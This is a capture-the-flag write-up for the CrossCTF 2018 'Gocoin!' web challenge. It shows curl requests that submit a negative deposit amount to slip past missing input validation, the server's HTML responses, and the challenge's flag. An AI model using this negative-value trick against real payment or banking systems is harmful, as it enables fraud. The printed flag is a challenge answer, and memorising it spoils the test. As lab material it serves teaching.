CrossCTF_2018: Gocoin!

Category: Web Points: 50 Description:

I thought blockchain was cool, so I made my own coin. http://ctf.pwn.sg:8182 Creator - quanyang (@quanyang)

Write-up

This challenge is fairly easy, just give it a negative amount.

root@ctf:~/downloads#  curl 'http://ctf.pwn.sg:8182/deposit?amount=-10' -c /tmp/c -b /tmp/c


<!doctype html>
<html>

    <head>
        <title>GoCoin!</title>
    </head>

    <body>
        You deposited -10 GoCoins! into your bank!</br>
        You have 11 GoCoins! in your wallet and -10 in your bank!</br>
        Deposit 1 GoCoins into your bank <a href="/deposit?amount=1">here</a>!</br>
        Withdraw 1 GoCoins from your bank <a href="/withdraw?amount=1">here</a>!</br>
        Buy a flag for 1.337 GoCoins! <a href="/flag">here</a>.</br>
    </body>

root@ctf:~/downloads# curl 'http://ctf.pwn.sg:8182/flag' -c /tmp/c -b /tmp/c


<!doctype html>
<html>

    <head>
        <title>GoCoin!</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta charset="UTF-8">
    </head>

    <body>
        You bought a flag!<br/>
        <br/>
        CrossCTF{G0C0in_Is_Th3_Nex7_Bi5_Th@ng!}
    </body>

</html>

Therefore, the flag is CrossCTF{G0C0in_Is_Th3_Nex7_Bi5_Th@ng!}.

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